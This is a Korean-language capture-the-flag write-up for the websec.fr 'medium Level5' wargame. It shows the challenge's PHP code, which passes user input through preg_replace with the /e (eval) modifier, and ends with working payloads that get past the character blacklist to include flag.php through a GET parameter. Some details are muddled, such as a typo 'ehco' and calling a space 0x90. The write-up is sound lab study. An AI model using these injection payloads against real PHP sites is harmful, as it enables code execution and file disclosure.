Wargame/websec.fr
[Websec.fr] medium - Level5
plit00
2019. 4. 8. 19:58
#index.php
<?php
ini_set('display_errors', 'on');
ini_set('error_reporting', E_ALL ^ E_DEPRECATED);
if (isset ($_REQUEST['q']) and is_string ($_REQUEST['q'])):
require 'spell.php';
$q = substr ($_REQUEST['q'], 0, 256);
$blacklist = implode (["'", '"', '(', ')', ' ', '`']);
$corrected = preg_replace ("/([^$blacklist]{2,})/ie", 'correct ("\\1")', $q);
?>
정말 까다로운 정규식이다.
1. request = 'q' -> ?q=
2.substr'q', 0, 256
3.corrected = preg_replace ("/([^$blacklist]{2,})/ie", 'correct ("\\1")', $q);
일단 PHP는 () 없이 call할 수 있는 $include와 require 기능을 가지고 있다.
예를 들어서 flag.php라고 생각을 하고 풀어보자
PHP에서는 모든 화이트리스트가 동일하게 제공(?)된다. 공백(=0x90)
또한, 정의되지않은 변수를 사용하여 문제에서 요구하는 문자열에 때려박으면 된다.
ehco test;
처음문제를 풀때에는 밑에 형식을 생각을 했지만 . 이 블랙이기 때문에 사용할 수 가 없다.
${include%09flag.php}
그렇다면 우리는 GET 매개변수를 사용하여 문제를 풀 수 있다.
$corrected = preg_replace ("/([^$blacklist]{2,})/ie", 'correct ("\\1")', $q);''
--------------------------------------------------------------------------------
q=%_GET[a]&a=flag.php
q=${require $_GET[a]} ${flag}&a=flag.php